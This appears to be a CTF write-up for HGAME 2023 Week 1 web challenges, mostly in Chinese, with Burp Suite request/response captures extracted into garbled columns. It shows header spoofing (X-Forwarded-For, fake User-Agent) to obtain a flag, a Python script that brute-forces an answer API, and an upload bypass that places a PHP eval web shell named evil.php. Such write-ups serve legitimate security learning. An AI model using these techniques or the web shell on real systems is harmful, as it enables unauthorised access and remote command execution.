

# HGAME2023 WEB WP

## Week1

### Classic Childhood Game

- 控制台输入 `Mota()`

### Become A Member

- http

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET / HTTP/1.1				24	C499.8,112.4,388.1,0.8,250.4,0.82		
2 Host: week-1.hgame.lwsec.cn:30944					M383.8,326.3c-62,0-101.4-14.1-117.6-46.3c-17.1		
3 Cache-Control: max-age=0					-34.1-2.3-75.4,13.2-104.1		
4 Upgrade-Insecure-Requests: 1				25	c-22.4,3-38.4,9.2-47.8,18.3c-11.2,10.9-13.6,26		
5 User-Agent: Cute-Bunny					.7-16.3,45c-3.1,20.8-6.6,44.4-25.3,62.4c-19.8,		
6 Referer: bunnybunnybunny.com					19.1-51.6,26.9-100.2,24.6l1.8-39.7		
7 X-Forwarded-For: 127.0.0.1					c35.9,1.6,59.7-2.9,70.8-13.6c8.9-8.6,11.1-22.9		
8 X-Real_IP: 127.0.0.1					,13.5-39.6c6.3-42,14.8-99.4,141.4-99.4h41L333,		
9 auth: vip					166c-12.6,16-45.4,68.2-31.2,96.2		
10 X-Client-IP: 127.0.0.1					c9.2,18.3,41.5,25.6,91.2,24.2l1.1,39.8C390.5,3		
11 Cookie: code=Vidar; Path=/; Domain=localhost;				26	26.2,387.1,326.3,383.8,326.3z" />		
12 From: admin				27	</g>		
13 Accept:				28	</svg>		
text/html,application/xhtml+xml,application/xml;q=0.9,image/av					<h1>		
if,image/webp,image/apng,*/*;q=0.8,application/signed-exchange					hgame{H0w_ArE_Y0u_T0day?}		
;v=b3;q=0.9					</h1>		
14 Accept-Encoding: gzip, deflate				29	</div>		
15 Accept-Language: zh-CN,zh;q=0.9				30	<div>		
16 Connection: close				31	<svg class="waves" xmlns="		
17 Content-Length: 47					http://www.w3.org/2000/svg" xmlns:xlink="		
18					http://www.w3.org/1999/xlink"		
19 {				32	viewBox="0 24 150 28" preserveAspectRatio="none"		
"username":"luckytoday",					shape-rendering="auto">		
"password":"happy123"				33	<defs>		
}				34	<path id="gentle-wave" d="M-160 44c30 0 58-18		
					88-18s 58 18 88 18 58-18 88-18 58 18 88 18		
					v44h-352z" />		
				35	</defs>		
				36	<g class="parallax">		
				37	<use xlink:href="#gentle-wave" x="48" y="0"		
				38	fill="rgba(255,255,255,0.7" />		
					<use xlink:href="#gentle-wave" x="48" y="3"		
					fill="rgba(255,255,255,0.5)" />		

### Guess Who I Am

- 我没看到按钮啊，源码翻到了接口

```
{Mi.post("/api/verifyAnswer",vb.stringify({id:e}},{headers:{"Content-Type":"application/x-www-form-urlencoded"}}).then(t=>
{t.data.message=="Wrong answer!"?alert("Wrong, Try
again"):t.data.message=="Please get a question first!"?alert("Press F5
to fresh the page"):
```

- 莽夫冲

```
# coding: utf8
import os
import sys
import requests

# question = 'http://week-1.hgame.lwsec.cn:30662/api/getQuestion'
verify = 'http://week-1.hgame.lwsec.cn:32265/api/verifyAnswer'

headers = {
    'Cookie':
    'session=MTY3MjkzNTUyOHxEidlCQkFFQ180SUFBUkFCRUFBQVBQLUNBQULHYzNSeWFXNW
5EQWdBQm50dmJIWmxaQU5wYm5RRUFnQWNCbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaMlZKW
kFOcGJuUUVBd0RfakeE9PXxM-Fkl-LdhCgNw6A51dZfZX0leG9ExD5fRvPq_ubAb2A=='
}


ids = ['balvan4', 'yolande', 't0hka', 'h4kuy4', 'kabuto', 'Rlesbyfe',
'tr0uble', 'Roam', 'Potat0', 'Summer', 'chuj',
    '4nsw3r', '4ctue', '0wl', 'At0m', 'ChenMoFeiJin', 'Klrin',
'eklng', 'lattlce', 'Ac4ae0', 'Akira', 'qz', 'Liki4',
    '0x4qE', 'xi4oyu', 'R3n0', 'm140', 'Mezone', 'dlgg12',
'Trotsky', 'Gamison', 'Tinmix', 'RT', 'wenzhuan',
    'Cosmos', 'Y', 'Annevi', 'logong', 'Kevin', 'LurkNoi', '幼稚园',
'lostflower', 'Roc826', 'Seadom', 'ObjectNotFound',
    'Moesang', 'E99plant', 'Michael', 'matrixtang', 'r4u', '357',
'Li4n0', '迟原静', 'Chlp', 'flrry', 'mian',
    'ACceler4t0r', 'MiGo', 'BrownFly', 'Aris', 'hsiaoxychen',
'Lou00', 'Junier', 'bigmud', 'NeverMoes', 'Sora',
    'fantasyqt', 'vvv_347', 'veritas501', 'LuckyCat', 'Ash',
'Cyris', 'Acaleph', 'b0lv42', 'ngc7293', 'ckj123',
    'cru5h', 'xiaoyao52110', 'Undefinedv', 'Spine', 'Tata',
'Airbasic', 'jibo', 'Processor', 'HeartSky', 'Minygd',
    'Yotubird', 'c014', 'Explorer', 'Aklis', 'Sysorem', 'Hcamael',
'LoRexxar', 'Alex', 'Ahlaman', 'lightless',
    'Edward_L', '逆风', '陈斩仙', 'Eric']

while (1):
    for id in ids:
```

```

data = {'id': id}
resp = requests.post(url=verify, headers=headers, data=data)
print(resp.text)
if 'Correct answer!' in resp.text:
    cookie = resp.headers.get('Set-Cookie')
    print(cookie)
    headers = {
        'Cookie': cookie
    }

```

Run:  **tesst** ×

```

{"message": "Wrong answer!"}
{"message": "Wrong answer!"}
{"message": "Correct answer!"}
session=MTY3MjkzNzgwNHxEid1CQkFFQ180SUFBUkFCRUFBQVBLUNBQUlHYzNSeWFXNW5EQTBBO
{"message": "Congratulations, You have solved all challenges!"}
{"message": "Congratulations, You have solved all challenges!"}
{"message": "Congratulations, You have solved all challenges!"}
{"message": "Congratulations, You have solved all challenges!"}

```

## Show Me Your Beauty

- pHp绕过后缀检测

Request		Response			
Pretty	Raw	Raw	Hex	Render	
<pre> 1 POST /upload.php HTTP/1.1 2 Host: week-1.hgame.lwsec.cn:31417 3 Content-Length: 211 4 Accept: */* 5 X-Requested-With: XMLHttpRequest 6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0   Safari/537.36 7 Content-Type: multipart/form-data;   boundary=----WebKitFormBoundaryPVmoM87u3u5b4M3K 8 Origin: http://week-1.hgame.lwsec.cn:31417 9 Referer: http://week-1.hgame.lwsec.cn:31417/ 10 Accept-Encoding: gzip, deflate 11 Accept-Language: zh-CN,zh;q=0.9 12 Cookie: session=   MTY3MjkzNzUxMHxEid1CQkFFQ180SUFBUkFCRUFBQVBLUNBQUlHYzNSeWFXNW   5EQTBBOzJ0b1lXeHNaVzVuWlVsa0EybHVkQVFDQURBR2MzUnlhVzVuREFnQUJl   TnZiSFpsWkF0cGJuUUVBZ0FBfK0c457ua7VznXXHH5L_ElwtmglXYgjmva3Bp   rHKcei; PHPSESSID=ja4gsbpvrfgvpq4vid4rf491rh 13 Connection: close 14 15 -----WebKitFormBoundaryPVmoM87u3u5b4M3K 16 Content-Disposition: form-data; name="file"; filename="   evil.php" 17 Content-Type: text/plain 18 19 &lt;?php eval(\$_GET['cmd']);?&gt; 20 21 -----WebKitFormBoundaryPVmoM87u3u5b4M3K-- 22 </pre>		<pre> 1 HTTP/1.1 200 OK 2 Date: Thu, 05 Jan 2023 17:35:29 GMT 3 Server: Apache/2.4.51 (Debian) 4 X-Powered-By: PHP/8.1.1 5 Expires: Thu, 19 Nov 1981 08:52:00 GMT 6 Cache-Control: no-store, no-cache, must-revalidate 7 Pragma: no-cache 8 Vary: Accept-Encoding 9 Content-Length: 94 10 Connection: close 11 Content-Type: text/html; charset=UTF-8 12 13 {"json": "Upload Successfully! .\\img\\evil.php   5s\\u540e\\u9875\\u9762\\u81ea\\u52a8\\u5237\\u65b0"} </pre>			

